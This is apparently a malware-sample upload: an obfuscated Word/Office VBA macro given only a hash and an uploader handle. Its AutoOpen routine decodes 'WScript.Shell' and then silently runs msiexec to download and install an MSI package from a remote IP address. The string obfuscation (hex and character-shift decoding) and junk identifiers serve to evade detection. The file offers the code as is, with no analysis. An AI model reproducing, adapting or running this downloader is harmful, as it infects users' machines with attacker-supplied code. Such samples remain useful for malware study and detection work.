VBA sample

ec7182dbcecd

## Uploaded by @satya_enki
## Hash: 10955f54aa38dbf4eb510b8e7903398d9896ee13d799fdc980f4ec7182dbcecd 
Sub AutoOpen()
    Dim abjaWFApqTOaGknEZ As String
    Dim EVvHI As Object
    Dim aqwMEEghqLNesI As Integer
    Dim TgAVw As String
    
    aqwMEEghqLNesI = 816
    abjaWFApqTOaGknEZ = HyqtqSXGmk("5f7b6b7a") & "qx|6[pmtt"
    Set EVvHI = CreateObject(wYXLQDtWwWsGZoWLeGkpVm(abjaWFApqTOaGknEZ))
    TgAVw = mpSAXeEZE("RnJhKoD" & "sTlnMyDIVhfRdr")
    TgAVw = CEwrPAatMxZTqBgv(EVvHI, TgAVw, aqwMEEghqLNesI)
End Sub

Function mpSAXeEZE(jOgnh As String) As String
    Dim eQQyonmU As String
    Dim cwMPdbkYiBGzZlOVmz As String
    Dim ndpvhGDAi As String
    ndpvhGDAi = "u{qm\x80mk(7y(7q(p||xB77:?698:6>>698=7|m{|6u{q"

    eQQyonmU = ndpvhGDAi
    eQQyonmU = wYXLQDtWwWsGZoWLeGkpVm(eQQyonmU)
    mpSAXeEZE = eQQyonmU
End Function

Function CEwrPAatMxZTqBgv(nQlSqqrbkebp As Object, uFFbObocubzzV As String, QQWVoEy As Integer) As String
    Dim rybfapXhFisd As String
    Dim ckNnNJEa As Integer
    ckNnNJEa = 4
    rybfapXhFisd = uFFbObocubzzV
    If (QQWVoEy > ckNnNJEa) Then
        ckNnNJEa = QQWVoEy - QQWVoEy
        nQlSqqrbkebp.Run rybfapXhFisd, ckNnNJEa, True
    End If
    rybfapXhFisd = HyqtqSXGmk("506f6179") & "XvJdLm" & HyqtqSXGmk("4e7873")
    CEwrPAatMxZTqBgv = rybfapXhFisd
End Function


Function wYXLQDtWwWsGZoWLeGkpVm(iTQoxf As String) As String
    Dim pgcBzpmsnvXIWmgg As Long
    Dim SmZBbyEi As String
    Dim RsoMMxswTFWgTulilNbYVOJ As Integer
    RsoMMxswTFWgTulilNbYVOJ = 8
    For pgcBzpmsnvXIWmgg = 1 To Len(iTQoxf)
        SmZBbyEi = SmZBbyEi & Chr(Asc(Mid(iTQoxf, pgcBzpmsnvXIWmgg, 1)) - RsoMMxswTFWgTulilNbYVOJ)
    Next pgcBzpmsnvXIWmgg
    wYXLQDtWwWsGZoWLeGkpVm = SmZBbyEi
End Function

Function HyqtqSXGmk(ByVal VnBLvZDWiK As String) As String
    Dim VfTbKTeF As Long
    For VfTbKTeF = 1 To Len(VnBLvZDWiK) Step 2
    HyqtqSXGmk = HyqtqSXGmk & Chr$(Val("&H" & Mid$(VnBLvZDWiK, VfTbKTeF, 2)))
    Next VfTbKTeF
End Function